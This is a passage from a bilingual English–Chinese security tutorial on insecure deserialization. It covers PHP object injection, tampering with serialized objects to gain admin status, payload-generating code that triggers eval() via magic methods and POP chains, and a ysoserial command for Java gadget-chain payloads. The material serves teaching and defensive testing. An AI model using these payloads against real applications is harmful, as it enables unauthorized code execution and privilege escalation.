Most computers should already have Java installed. If you run java -version at the command line and see a Java version number returned, you don’t have to install Java again. Otherwise, you can find the instructions to install Java at https://java.com/en/download/help/download_options.html . You can also use an online Java compiler to test your code; Tutorials Point has one at https://www.tutorialspoint.com/compile_java_online.php .

大多数计算机应该已经安装了Java。如果您在命令行上运行java -version并看到返回的Java版本号，则无需再次安装Java。否则，您可以在https://java.com/en/download/help/download_options.html找到安装Java的说明。您也可以使用在线Java编译器测试您的代码；Tutorials Point在https://www.tutorialspoint.com/compile_java_online.php上有一个。

PHP

Although most deserialization bugs in the wild are caused by insecure deserialization in Java, I’ve also found PHP deserialization vulnerabilities to be extremely common. In my research project that studied publicly disclosed deserialization vulnerabilities on HackerOne, I discovered that half of all disclosed deserialization vulnerabilities were caused by insecure deserialization in PHP. I also found that most deserialization vulnerabilities are resolved as high-impact or critical-impact vulnerabilities; incredibly, most can be used to cause the execution of arbitrary code on the target server.

尽管在实际环境中，大多数反序列化错误是由 Java 中的不安全反序列化引起的，我发现 PHP 反序列化漏洞也非常普遍。在我研究公开披露的 HackerOne 反序列化漏洞的研究项目中，我发现一半以上的披露的反序列化漏洞是由 PHP 不安全反序列化引起的。我还发现，大多数反序列化漏洞都被解决为高影响力或危急影响力漏洞；令人惊讶的是，这些漏洞大多可用于在目标服务器上执行任意代码。

When insecure deserialization vulnerabilities occur in PHP, we sometimes call them PHP object injection vulnerabilities . To understand PHP object injections, you first need to understand how PHP serializes and deserializes objects.

当PHP发生不安全的反序列化漏洞时，我们有时称之为PHP对象注入漏洞。要理解PHP对象注入，首先需要了解PHP如何对对象进行序列化和反序列化。

When an application needs to store a PHP object or transfer it over the network, it calls the PHP function serialize() to pack it up. When the application needs to use that data, it calls unserialize() to unpack and get the underlying object.

当应用程序需要存储一个 PHP 对象或在网络上传输它时，它会调用 PHP 函数 serialize() 来打包它。当应用程序需要使用该数据时，调用 unserialize() 来解包并获取基础对象。

For example, this code snippet will serialize the object called user :

例如，这段代码片段将序列化名为用户（user）的对象：

<?php
1 class User{
    public $username;
    public $status;
  }
2 $user = new User;
3 $user->username = 'vickie';
4 $user->status = 'not admin';
5 echo serialize($user);
?>

This piece of PHP code declares a class called User . Each User object will contain a $username and a $status attribute 1 . It then creates a new User object called $user 2 . It sets the $username attribute of $user to 'vickie' 3 and its $status attribute to 'not admin' 4 . Then, it serializes the $user object and prints out the string representing the serialized object 5 .

这段PHP代码声明了一个名为 User 的类。每个 User 对象都包含一个 $username 和一个 $status 属性 1。接着，它创建了一个名为 $user 的新的 User 对象 2。它将 $user 的 $username 属性设置为 'vickie' 3，并将其 $status 属性设置为 'not admin' 4。然后，将 $user 对象序列化并打印代表序列化对象的字符串 5。

Store this code snippet as a file named serialize_test.php and run it using the command php serialize_test.php . You should get the serialized string that represents the user object:

将此代码片段保存为名为serialize_test.php的文件，并使用命令php serialize_test.php运行它。您应该会得到表示用户对象的序列化字符串：

O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}

Let’s break down this serialized string. The basic structure of a PHP serialized string is data type : data . In terms of data types, b represents a Boolean, i represents an integer, d represents a float, s represents a string, a represents an array, and O represents an object instance of a particular class. Some of these types get followed by additional information about the data, as described here:

让我们分解这个序列化字符串。PHP序列化字符串的基本结构是数据类型:data。在数据类型方面，b表示布尔值，i表示整数，d表示浮点数，s表示字符串，a表示数组，O表示特定类的对象实例。其中一些类型后面跟随有关数据的其他信息，如下所述：

b:THE_BOOLEAN;
i:THE_INTEGER;
d:THE_FLOAT;
s:LENGTH_OF_STRING:"ACTUAL_STRING";
a:NUMBER_OF_ELEMENTS:{ELEMENTS}
O:LENGTH_OF_NAME:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}

Using this reference as a guide, we can see that our serialized string represents an object of the class User . It has two properties. The first property has the name username and the value vickie . The second property has the name status and the value not admin . The names and values are all strings.

使用此参考作为指南，我们可以看到我们的序列化字符串表示一个User类的对象。它有两个属性。第一个属性名称为username，值为vickie。第二个属性名称为status，值为not admin。名称和值都是字符串。

When you’re ready to operate on the object again, you can deserialize the string with unserialize() :

当您再次准备对该对象进行操作时，您可以使用 unserialize() 将字符串反序列化：

<?php
1 class User{
    public $username;
    public $status;
  }
  $user = new User;
  $user->username = 'vickie';
  $user->status = 'not admin';
  $serialized_string = serialize($user);

2 $unserialized_data = unserialize($serialized_string);
3 var_dump($unserialized_data);
  var_dump($unserialized_data["status"]);
?>

The first few lines of this code snippet create a user object, serialize it, and store the serialized string into a variable called $serialized_string 1 . Then, it unserializes the string and stores the restored object into the variable $unserialized_data 2 . The var_dump() PHP function displays the value of a variable. The last two lines display the value of the unserialized object $unserialized_data and its status property 3 .

这个代码片段的前几行创建了一个用户对象，并对其进行序列化，将序列化后的字符串存储在变量$serialized_string中1。然后，它对字符串进行反序列化，并将恢复的对象存储在变量$unserialized_data中2。var_dump（）PHP函数显示变量的值。最后两行显示未序列化对象$unserialized_data及其状态属性的值3。

Most object-oriented programming languages have similar interfaces for serializing and deserializing program objects, but the format of their serialized objects are different. Some programming languages also allow developers to serialize into other standardized formats, such as JSON and YAML.

大多数面向对象编程语言具有类似的接口，用于序列化和反序列化程序对象，但其序列化对象的格式是不同的。一些编程语言还允许开发人员将其序列化为其他标准格式，比如JSON和YAML。

Controlling Variable Values

You might have already noticed something fishy here. If the serialized object isn’t encrypted or signed, can anyone create a User object? The answer is yes! This is a common way insecure deserialization endangers applications.

如果序列化对象没有加密或签名，任何人都可以创建一个用户对象，这是一个不安全的反序列化危害应用程序的常见方式。

One possible way of exploiting a PHP object injection vulnerability is by manipulating variables in the object. Some applications simply pass in a serialized object as a method of authentication without encrypting or signing it, thinking the serialization alone will stop users from tampering with the values. If that’s the case, you can mess with the values encoded in the serialized string:

利用 PHP 对象注入漏洞的一种可能方法是通过操纵对象中的变量。有些应用程序为了验证身份，仅仅传递一个序列化的对象作为认证方法，而没有加密或签名它，认为仅使用序列化就足以防止用户篡改值。如果是这种情况，你可以操纵编码在序列化字符串中的值：

<?php
  class User{
    public $username;
    public $status;
  }
  $user = new User;
  $user->username = 'vickie';
1 $user->status = 'admin';
  echo serialize($user);
?>

In this example of the User object we created earlier, you change the status to admin by modifying your PHP script 1 . Then you can intercept the outgoing request in your proxy and insert the new object in place of the old one to see if the application grants you admin privileges.

在之前我们创建的用户对象的示例中，您可以通过修改 PHP 脚本 1 中的状态来将其更改为管理者。然后，您可以拦截代理中的输出请求，并插入新对象替换旧对象，以查看应用程序是否授予您管理员权限。

You can also change your serialized string directly:

您也可以直接更改您的序列化字符串：

O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"admin";}

If you’re tampering with the serialized string directly, remember to change the string’s length marker as well, since the length of your status string has changed:

如果直接更改序列化的字符串，请记得同时修改字符串的长度标记，因为你的状态字符串的长度已经发生了改变：

O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:5:"admin";}

unserialize() Under the Hood

To understand how unserialize() can lead to RCEs, let’s take a look at how PHP creates and destroys objects.

了解 unserialize() 如何导致 RCE，让我们来看看 PHP 如何创建和销毁对象。

PHP magic methods are method names in PHP that have special properties. If the serialized object’s class implements any method with a magic name, these methods will have magic properties, such as being automatically run during certain points of execution, or when certain conditions are met. Two of these magic methods are __wakeup() and __destruct() .

PHP 魔法方法是 PHP 中具有特殊属性的方法名。如果序列化对象的类实现了任何具有魔法名称的方法，则这些方法将具有魔法属性，例如在执行的某些点自动运行，或者在满足某些条件时自动运行。其中两个魔法方法是 __wakeup() 和 __destruct()。

The __wakeup() method is used during instantiation when the program creates an instance of a class in memory, which is what unserialize() does; it takes the serialized string, which specifies the class and the properties of that object, and uses that data to create a copy of the originally serialized object. It then searches for the __wakeup() method and executes code in it. The __wakeup() method is usually used to reconstruct any resources that the object may have, reestablish any database connections that were lost during serialization, and perform other reinitialization tasks. It’s often useful during a PHP object injection attack because it provides a convenient entry point to the server’s database or other functions in the program.

__wakeup()方法在实例化期间使用，当程序在内存中创建一个类的实例时使用，这就是unserialize()的作用；它接受序列化字符串，该字符串指定该对象的类和属性，并使用该数据创建原始序列化对象的副本。然后搜索__wakeup()方法并执行其中的代码。__wakeup()方法通常用于重建对象可能具有的任何资源，重新建立在序列化期间丢失的任何数据库连接，并执行其他重新初始化任务。它通常在PHP对象注入攻击中非常有用，因为它提供了方便的入口点到服务器的数据库或程序中的其他功能。

The program then operates on the object and uses it to perform other actions. When no references to the deserialized object exist, the program calls the __destruct() function to clean up the object. This method often contains useful code in terms of exploitation. For example, if a __destruct() method contains code that deletes and cleans up files associated with the object, the attacker might be able to mess with the integrity of the filesystem by controlling the input passed into those functions.

程序然后操作该对象并使用它执行其他动作。当没有对反序列化对象的引用时，程序调用__destruct()函数清理对象。该方法通常包含有关利用的有用代码。例如，如果__destruct()方法包含删除和清理与对象相关的文件的代码，攻击者可能能够通过控制传递给这些函数的输入来干扰文件系统的完整性。

Achieving RCE

When you control a serialized object passed into unserialize() , you control the properties of the created object. You might also be able to control the values passed into automatically executed methods like __wakeup() or __destruct() . If you can do that, you can potentially achieve RCE.

当您控制一个传入 unserialize() 的序列化对象时，您就可以控制创建的对象的属性。您还可能能够控制传入自动执行方法（如__wakeup()或__destruct()）的值。如果您能够做到这一点，您有可能实现远程代码执行（RCE）。

For example, consider this vulnerable code example, taken from https://www.owasp.org/index.php/PHP_Object_Injection :

例如，考虑这个脆弱的代码示例，从 https://www.owasp.org/index.php/PHP_Object_Injection 中取得：

1 class Example2
  {
    private $hook;
    function __construct(){
        // some PHP code...
    }
    function __wakeup(){
      2 if (isset($this->hook)) eval($this->hook);
    }
  }

  // some PHP code...

3 $user_data = unserialize($_COOKIE['data']);

The code declares a class called Example2 . It has a $hook attribute and two methods: __construct() and __wakeup() 1 . The __wakeup() function executes the string stored in $hook as PHP code if $hook is not empty 2 . The PHP eval() function takes in a string and runs the content of the string as PHP code. Then, the program runs unserialize() on a user-supplied cookie named data 3 .

该代码声明了一个名为Example2的类。它有一个$hook属性和两个方法：__construct()和__wakeup()。1.如果$hook非空，__wakeup()函数会执行存储在$hook中的字符串作为PHP代码。2.PHP eval()函数接受一个字符串，并将字符串的内容作为PHP代码运行。然后，该程序在名为data的用户提供的cookie上运行unserialize()。

Here, you can achieve RCE because the code passes a user-provided object into unserialize() , and there is an object class, Example2 , with a magic method that automatically runs eval() on user-provided input when the object is instantiated.

在这里，您可以实现RCE，因为代码将用户提供的对象传递给unserialize()，并且有一个名为Example2的对象类，其中有一个魔术方法，在实例化对象时自动针对用户提供的输入运行eval()。

To exploit this RCE, you’d set your data cookie to a serialized Example2 object, and the hook property to whatever PHP code you want to execute. You can generate the serialized object by using the following code snippet:

要利用这个RCE，您需要将数据 cookie 设置为序列化的 Example2 对象，将 hook 属性设置为您想要执行的任何 PHP 代码。您可以使用以下代码片段生成序列化对象：

class Example2
{
   private $hook = "phpinfo();";
}
print 1 urlencode(serialize(new Example2));

Before we print the object, we need to URL-encode it 1 , since we’ll be injecting the object via a cookie. Passing the string generated by this code into the data cookie will cause the server to execute the PHP code phpinfo(); , which outputs information about PHP’s configuration on the server. The phpinfo() function is often used as a proof-of-concept function to run in bug reports to proof successful PHP command injection. The following is what happens in detail on the target server during this attack:

在打印对象之前，我们需要对其进行URL编码1，因为我们将通过cookie注入该对象。将由此代码生成的字符串传递到数据cookie中将导致服务器执行PHP代码phpinfo();，它会输出有关服务器上PHP配置的信息。phpinfo()函数通常用作概念证明函数来运行bug报告以证明成功的PHP命令注入。以下是在目标服务器上此攻击发生的详细过程：

The serialized Example2 object is passed into the program as the data cookie.

The program calls unserialize() on the data cookie.

Because the data cookie is a serialized Example2 object, unserialize() instantiates a new Example2 object.

The unserialize() function sees that the Example2 class has __wakeup() implemented, so __wakeup() is called.

The __wakeup() function looks for the object’s $hook property, and if it is not NULL , it runs eval($hook) .

The $hook property is not NULL , because it is set to phpinfo(); , and so eval("phpinfo();") is run.

You’ve achieved RCE by executing the arbitrary PHP code you’ve placed in the data cookie.

Using Other Magic Methods

So far, we’ve mentioned the magic methods __wakeup() and __destruct() . There are actually four magic methods you’ll find particularly useful when trying to exploit an unserialize() vulnerability: __wakeup() , __destruct() , __toString() , and __call() .

到目前为止，我们已经提到了魔术方法__wakeup()和__destruct()。当尝试利用unserialize()漏洞时，实际上有四个魔术方法会特别有用：__wakeup()，__destruct()，__toString()和__call()。

Unlike __wakeup() and __destruct() , which always get executed if the object is created, the __toString() method is invoked only when the object is treated as a string. It allows a class to decide how it will react when one of its objects is treated as a string. For example, it can decide what to display if the object is passed into an echo() or print() function. You’ll see an example of using this method in a deserialization attack in “Using POP Chains” on page 238 .

与__wakeup() 和 __destruct()不同的是，它们无论对象是否被创建都会执行，__toString()方法仅在对象被视为字符串时调用。它允许类在对象被视为字符串时决定如何反应。例如，它可以决定如果对象被传递到echo()或print()函数中时要显示什么内容。您将在第238页的“使用POP链”中看到使用此方法的示例。

A program invokes the __call() method when an undefined method is called. For example, a call to $object->undefined($args) will turn into $object->__call('undefined', $args) . Again, the exploitability of this magic method varies wildly, depending on how it was implemented. Sometimes attackers can exploit this magic method when the application’s code contains a mistake or when users are allowed to define a method name to call themselves.

当调用未定义的方法时，程序会调用__call()方法。例如，对$object->undefined($args)的调用将变为$object->__call('undefined', $args)。再次说明，这个魔术方法的可利用性因其实现方式而大不相同。有时候攻击者可以利用这个魔法方法，当应用程序的代码存在错误或当用户允许定义方法名称调用自己时。

You’ll typically find these four magic methods the most useful for exploitation, but many other methods exist. If the ones mentioned here aren’t exploitable, it might be worth checking out the class’s implementation of the other magic methods to see whether you can start an exploit from there. Read more about PHP’s magic methods at https://www.php.net/manual/en/language.oop5.magic.php .

通常情况下，对于利用这四个魔法方法最为有用。但是还存在许多其他的方法。如果在这里提到的方法不可利用，那么检查类的其他魔法方法实现是否可以从那里开始利用，可能会有所帮助。请参阅https://www.php.net/manual/en/language.oop5.magic.php了解更多关于PHP魔法方法的信息。

Using POP Chains

So far, you know that when attackers control a serialized object passed into unserialize() , they can control the properties of the created object. This gives them the opportunity to hijack the flow of the application by choosing the values passed into magic methods like __wakeup() .

到目前为止，您已经知道当攻击者控制传递给unserialize（）的序列化对象时，他们可以控制创建的对象的属性。这使他们有机会通过选择传递给像__wakeup（）这样的魔术方法的值来劫持应用程序的流程。

This exploit works . . . sometimes. But this approach has a problem: what if the declared magic methods of the class don’t contain any useful code in terms of exploitation? For example, sometimes the available classes for object injections contain only a few methods, and none of them contain code injection opportunities. Then the unsafe deserialization is useless, and the exploit is a bust, right?

这个漏洞有时候有效。但这种方法存在一个问题：如果类的声明魔术方法在利用方面没有任何有用的代码怎么办？例如，有时可用于对象注入的类仅包含几个方法，而且它们都没有代码注入机会。那么，不安全的反序列化就无用了，漏洞就会失败，对吧？

We have another way of achieving RCE even in this scenario: POP chains. A property-oriented programming (POP) chain is a type of exploit whose name comes from the fact that the attacker controls all of the deserialized object’s properties. POP chains work by stringing bits of code together, called gadgets , to achieve the attacker’s ultimate goal. These gadgets are code snippets borrowed from the codebase. POP chains use magic methods as their initial gadget. Attackers can then use these methods to call other gadgets.

我们在这种情况下有另一种实现 RCE 的方式：POP 链。属性导向编程（POP）链是一种攻击利用方式，其名称源于攻击者控制了所有反序列化对象的属性。POP 链通过将被称为小工具的代码片段串联在一起来实现攻击者的最终目标。这些小工具是从代码库中借用的代码片段。POP 链使用魔术方法作为它们的初始小工具。攻击者可以使用这些方法来调用其他小工具。

If this seems abstract, consider the following example application code, taken from https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection :

如果这个看上去抽象的话，不妨看一下以下的应用代码示例，取自https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection:。

class Example
{
1 private $obj;
  function __construct()
  {
    // some PHP code...
  }
  function __wakeup()
  {
  2 if (isset($this->obj)) return $this->obj->evaluate();
  }
}

class CodeSnippet
{
3 private $code;

4 function evaluate()
  {
    eval($this->code);
  }
}

// some PHP code...

5 $user_data = unserialize($_POST['data']);

// some PHP code...

In this application, the code defines two classes: Example and CodeSnippet . Example has a property named obj 1 , and when an Example object is deserialized, its __wakeup() function is called, which calls obj ’s evaluate() method 2 .

这个应用程序定义了两个类：Example和CodeSnippet。Example有一个名为“obj 1”的属性，当反序列化Example对象时，它的__wakeup()函数被调用，该函数调用obj的evaluate()方法。

The CodeSnippet class has a property named code that contains the code string to be executed 3 and an evaluate() method 4 , which calls eval() on the code string.

CodeSnippet类具有名为code的属性，其中包含要执行的代码字符串，并具有一个evaluate（）方法，该方法在代码字符串上调用eval（）。

In another part of the code, the program accepts the POST parameter data from the user and calls unserialize() on it 5 .

在代码的另一部分，程序接受用户的POST参数数据，并在其上调用unserialize（） 5。

Since that last line contains an insecure deserialization vulnerability, an attacker can use the following code to generate a serialized object:

由于最后一行包含不安全的反序列化漏洞，攻击者可以使用以下代码生成序列化对象：

class CodeSnippet
{
  private $code = "phpinfo();";
}
class Example
{
  private $obj;
  function __construct()
  {
    $this->obj = new CodeSnippet;
  }
}
print urlencode(serialize(new Example));

This code snippet defines a class named CodeSnippet and set its code property to phpinfo(); . Then it defines a class named Example , and sets its obj property to a new CodeSnippet instance on instantiation. Finally, it creates an Example instance, serializes it, and URL-encodes the serialized string. The attacker can then feed the generated string into the POST parameter data .

该代码片段定义了一个名为 CodeSnippet 的类，并将其代码属性设置为 phpinfo（）; 。然后它定义了一个名为 Example 的类，并在实例化时将其 obj 属性设置为新的 CodeSnippet 实例。最后，它创建一个 Example 实例，对其进行序列化，然后对序列化的字符串进行 URL 编码。攻击者可以将生成的字符串输入 POST 参数数据中。

Notice that the attacker’s serialized object uses class and property names found elsewhere in the application’s source code. As a result, the program will do the following when it receives the crafted data string.

请注意攻击者的序列化对象使用了应用程序源代码中其他地方发现的类和属性名称。因此，当程序接收到制作的数据字符串时，它将执行以下操作。

First, it will unserialize the object and create an Example instance. Then, since Example implements __wakeup() , the program will call __wakeup() and see that the obj property is set to a CodeSnippet instance. Finally, it will call the evaluate() method of the obj , which runs eval("phpinfo();") , since the attacker set the code property to phpinfo() . The attacker is able to execute any PHP code of their choosing.

首先，它会反序列化对象并创建一个 Example 实例。然后，由于 Example 实现了 __wakeup()，程序将调用 __wakeup()，并看到 obj 属性被设置为 CodeSnippet 实例。最后，它将调用 obj 的 evaluate() 方法，运行 eval("phpinfo();")，因为攻击者将 code 属性设置为 phpinfo()。攻击者能够执行任何所选择的 PHP 代码。

POP chains achieve RCE by chaining and reusing code found in the application’s codebase. Let’s look at another example of how to use POP chains to achieve SQL injection. This example is also taken from https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection .

POP链通过链接和重用应用程序代码库中发现的代码实现RCE。让我们看另一个使用POP链实现SQL注入的例子。这个例子也来自https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection。

Say an application defines a class called Example3 somewhere in the code and deserializes unsanitized user input from the POST parameter data :

应用程序在代码的某处定义了一个名为Example3的类，并从POST参数数据反序列化未经过滤的用户输入。

class Example3
{
  protected $obj;
  function __construct()
  {
    // some PHP code...
  }
1 function __toString()
  {
    if (isset($this->obj)) return $this->obj->getValue();
  }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

Notice that Example3 implements the __toString() magic method 1 . In this case, when an Example3 instance is treated as a string, it will return the result of the getValue() method run on its $obj property.

请注意，示例3实现了__toString()魔术方法1。在这种情况下，当一个Example3实例被视为字符串时，它将返回在其$obj属性上运行的getValue()方法的结果。

Let’s also say that, somewhere in the application, the code defines the class SQL_Row_Value . It has a method named getValue() , which executes a SQL query. The SQL query takes input from the $_table property of the SQL_Row_Value instance:

假设在应用程序的某个地方，代码定义了SQL_Row_Value类。它有一个名为getValue()的方法，用于执行SQL查询。该SQL查询从SQL_Row_Value实例的$ _table属性中获取输入：

class SQL_Row_Value
{
  private $_table;
  // some PHP code...
  function getValue($id)
  {
    $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
    $result = mysql_query($sql, $DBFactory::getConnection());
    $row = mysql_fetch_assoc($result);
return $row['value'];
  }
}

An attacker can achieve SQL injection by controlling the $obj in Example3 . The following code will create an Example3 instance with $obj set to a SQL_Row_Value instance, and with $_table set to the string "SQL Injection" :

攻击者可以通过控制Example3中的$obj实现SQL注入。以下代码将创建一个Example3实例，其$obj设置为SQL_Row_Value实例，并将$_table设置为字符串“SQL注入”：

class SQL_Row_Value
{
  private $_table = "SQL Injection";
}
class Example3
{
  protected $obj;
  function __construct()
  {
    $this->obj = new SQL_Row_Value;
  }
}
print urlencode(serialize(new Example3));

As a result, whenever the attacker’s Example3 instance is treated as a string, its $obj ’s get_Value() method will be executed. This means the SQL_Row_Value ’s get_Value() method will be executed with the $_table string set to "SQL Injection" .

因此，每当攻击者的 Example3 实例被视为字符串时，其 $obj 的 get_Value() 方法将被执行。这意味着 SQL_Row_Value 的 get_Value() 方法将被执行，并将 $_table 字符串设置为“SQL 注入”。

The attacker has achieved a limited SQL injection, since they can control the string passed into the SQL query SELECT * FROM {$this->_table} WHERE id = " . (int)$id; .

攻击者已经成功进行了有限的SQL注入，因为他们可以控制传递到SQL查询语句 `SELECT * FROM {$this->_table} WHERE id = " . (int)$id;` 中的字符串。

POP chains are similar to return-oriented programming ( ROP) attacks, an interesting technique used in binary exploitation. You can read more about it on Wikipedia, at https://en.wikipedia.org/wiki/Return-oriented_programming .

POP链和返回导向编程（ROP）攻击类似，是二进制利用中使用的一种有趣技术。更多信息请参见维基百科网址：https://en.wikipedia.org/wiki/Return-oriented_programming。

Java

Now that you understand how insecure deserialization in PHP works, let’s explore another programming language prone to these vulnerabilities: Java. Java applications are prone to insecure deserialization vulnerabilities because many of them handle serialized objects. To understand how to exploit deserialization vulnerabilities in Java, let’s look at how serialization and deserialization work in Java.

现在你已经了解了PHP中不安全反序列化的工作原理，让我们来探究另一种易受这些漏洞影响的编程语言：Java。由于许多Java应用程序都处理序列化对象，因此Java应用程序容易受到不安全的反序列化漏洞的影响。要了解如何利用Java中的反序列化漏洞，让我们来看看Java中序列化和反序列化的工作原理。

For Java objects to be serializable, their classes must implement the java.io.Serializable interface. These classes also implement special methods, writeObject() and readObject() , to handle the serialization and deserialization, respectively, of objects of that class. Let’s look at an example. Store this code in a file named SerializeTest.java :

Java对象要实现序列化，它们的类必须实现java.io.Serializable接口。这些类还实现了特殊方法writeObject()和readObject()，用于分别处理该类对象的序列化和反序列化。让我们来看一个例子。将这个代码存储在名为SerializeTest.java的文件中：

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;

1 class User implements Serializable{
2 public String username;
}

public class SerializeTest{

  public static void main(String args[]) throws Exception{

    3 User newUser = new User();
    4 newUser.username = "vickie";

      FileOutputStream fos = new FileOutputStream("object.ser");
      ObjectOutputStream os = new ObjectOutputStream(fos);
    5 os.writeObject(newUser);
      os.close();

      FileInputStream is = new FileInputStream("object.ser");
      ObjectInputStream ois = new ObjectInputStream(is);
    6 User storedUser = (User)ois.readObject();
      System.out.println(storedUser.username);
      ois.close();
    }
}

Then, in the directory where you stored the file, run these commands. They will compile the program and run the code:

在存储文件的目录中，运行以下命令。它们将编译程序并执行代码：

$ javac SerializeTest.java
$ java SerializeTest

You should see the string vickie printed as the output. Let’s break down the program a bit. First, we define a class named User that implements Serializable 1 . Only classes that implement Serializable can be serialized and deserialized. The User class has a username attribute that is used to store the user’s username 2 .

你应该看到字符串“vickie”作为输出。让我们稍微解析一下这个程序。首先，我们定义了一个名为User的类，它实现了Serializable接口 1。只有实现了Serializable接口的类才能被序列化和反序列化。User类有一个用户名属性，用于存储用户的用户名 2。

Then, we create a new User object 3 and set its username to the string "vickie" 4 . We write the serialized version of newUser and store it into the file object.ser 5 . Finally, we read the object from the file, deserialize it, and print out the user’s username 6 .

然后，我们创建一个新的用户对象3，并将其用户名设置为字符串“vickie”4。我们将newUser的序列化版本写入文件object.ser中5。最后，我们从文件中读取对象，对其进行反序列化，并打印出用户的用户名6。

To exploit Java applications via an insecure deserialization bug, we first have to find an entry point through which to insert the malicious serialized object. In Java applications, serializable objects are often used to transport data in HTTP headers, parameters, or cookies.

为了通过不安全的反序列化漏洞利用Java应用程序，我们首先必须找到一个入口点来插入恶意序列化对象。在Java应用程序中，可序列化对象通常用于在HTTP标头，参数或cookie中传输数据。

Java serialized objects are not human readable like PHP serialized strings. They often contain non-printable characters as well. But they do have a couple signatures that can help you recognize them and find potential entry points for your exploits:

Java序列化的对象不像PHP序列化的字符串那样易于人类阅读。它们通常包含不可打印的字符。但是它们确实有一些标记可以帮助您识别它们，并找到潜在的漏洞入口：

Starts with AC ED 00 05 in hex or rO0 in base64. (You might see these within HTTP requests as cookies or parameters.)

The Content-Type header of an HTTP message is set to application/x-java-serialized-object .

Since Java serialized objects contain a lot of special characters, it’s common to encode them before transmission, so look out for differently encoded versions of these signatures as well.

由于Java序列化的对象包含许多特殊字符，因此在传输之前对它们进行编码是很常见的，因此也要注意这些签名的不同编码版本。

After you discover a user-supplied serialized object, the first thing you can try is to manipulate program logic by tampering with the information stored within the objects. For example, if the Java object is used as a cookie for access control, you can try changing the usernames, role names, and other identity markers that are present in the object, re-serialize it, and relay it back to the application. You can also try tampering with any sort of value in the object that is a filepath, file specifier, or control flow value to see if you can alter the program’s flow.

当你发现一个用户提供的序列化对象后，你可以尝试通过篡改对象中存储的信息来操纵程序逻辑。例如，如果Java对象被用作访问控制的cookie，你可以尝试更改对象中存在的用户名、角色名和其他标识标记，重新序列化并将其转发回应用程序。你也可以尝试篡改对象中的任何类型的值，包括文件路径、文件指定符或控制流值，以查看是否可以更改程序的流程。

Sometimes when the code doesn’t restrict which classes the application is allowed to deserialize, it can deserialize any serializable classes to which it has access. This means attackers can create their own objects of any class. A potential attacker can achieve RCE by constructing objects of the right classes that can lead to arbitrary commands.

有时，当代码不限制应用程序可反序列化的类时，它可以反序列化任何具有访问权限的可序列化类。这意味着攻击者可以创建任何类的自己的对象。潜在的攻击者可以通过构造正确类的对象来实现RCE，从而导致任意命令。

Achieving RCE

The path from a Java deserialization bug to RCE can be convoluted. To gain code execution, you often need to use a series of gadgets to reach the desired method for code execution. This works similarly to exploiting deserialization bugs using POP chains in PHP, so we won’t rehash the whole process here. In Java applications, you’ll find gadgets in the libraries loaded by the application. Using gadgets that are in the application’s scope, create a chain of method invocations that eventually leads to RCE.

从Java反序列化漏洞到远程代码执行的路径可能比较曲折。要想实现代码执行，通常需要使用一系列的小工具来达到执行代码的目的方法。这种方法类似于使用POP的PHP反序列化漏洞利用链，因此我们在这里不再赘述整个过程。在Java应用程序中，你可以在应用程序加载的库中找到小工具。使用应用程序范围内的小工具，创建一条方法调用链，最终导致远程代码执行。

Finding and chaining gadgets to formulate an exploit can be time-consuming. You’re also limited to the classes available to the application, which can restrict what your exploits can do. To save time, try creating exploit chains by using gadgets in popular libraries, such as the Apache Commons-Collections, the Spring Framework, Apache Groovy, and Apache Commons FileUpload. You’ll find many of these published online.

寻找和链接小工具以制定攻击可以非常耗时。您还受应用程序可用类的限制，这可能会限制攻击的功能。为节省时间，可以使用流行库中的小工具创建攻击链，例如Apache Commons-Collections、Spring Framework、Apache Groovy和Apache Commons FileUpload。您会在网上找到很多这样的工具。

Automating the Exploitation by Using Ysoserial

Ysoserial ( https://github.com/frohoff/ysoserial/ ) is a tool that you can use to generate payloads that exploit Java insecure deserialization bugs, saving you tons of time by keeping you from having to develop gadget chains yourself.

Ysoserial是一个工具，您可以使用它来生成利用Java不安全反序列化漏洞的负载，从而节省时间，无需自己开发工具链。

Ysoserial uses a collection of gadget chains discovered in common Java libraries to formulate exploit objects. With Ysoserial, you can create malicious Java serialized objects that use gadget chains from specified libraries with a single command:

Ysoserial 使用常见的 Java 库中发现的一系列 gadget 链来创建利用对象。使用 Ysoserial，只需一条命令，就可以创建使用来自指定库的 gadget 链的恶意 Java 序列化对象。

$ java -jar ysoserial.jar gadget_chain command_to_execute

For example, to create a payload that uses a gadget chain in the Commons-Collections library to open a calculator on the target host, execute this command:

例如，要创建一个使用Commons-Collections库中的gadget chain打开目标主机上的计算器的payload，请执行以下命令：

$ java -jar ysoserial.jar CommonsCollections1 calc.exe

The gadget chains generated by Ysoserial all grant you the power to execute commands on the system. The program takes the command you specified and generates a serialized object that executes that command.

Ysoserial生成的设备链都赋予您在系统上执行命令的能力。该程序接收您指定的命令，并生成一个序列化对象来执行该命令。

Sometimes the library to use for your gadget chain will seem obvious, but often it’s a matter of trial and error, as you’ll have to discover which vulnerable libraries your target application implements. This is where good reconnaissance will help you.

有时你的设备需要使用的库看起来很明显，但通常需要试错，因为你必须发现目标应用程序实现的脆弱库。这就是一个好的侦查工作将会帮助你的地方。

You can find more resources about exploiting Java deserialization on GitHub at https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/ .

你可以在GitHub上找到更多关于Java反序列化的资源，访问链接https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/。

Prevention

Defending against deserialization vulnerabilities is difficult. The best way to protect an application against these vulnerabilities varies greatly based on the programming language, libraries, and serialization format used. No one-size-fits-all solution exists.

防御反序列化漏洞很困难。保护应用程序免受这些漏洞的最佳方法因所使用的编程语言、库以及序列化格式而异。没有一种通用的解决方案存在。

You should make sure not to deserialize any data tainted by user input without proper checks. If deserialization is necessary, use an allowlist to restrict deserialization to a small number of allowed classes.

应确保不要在没有进行适当检查的情况下反序列化任何受用户输入污染的数据。如果必须进行反序列化，则使用允许列表将反序列化限制在少量允许的类中。

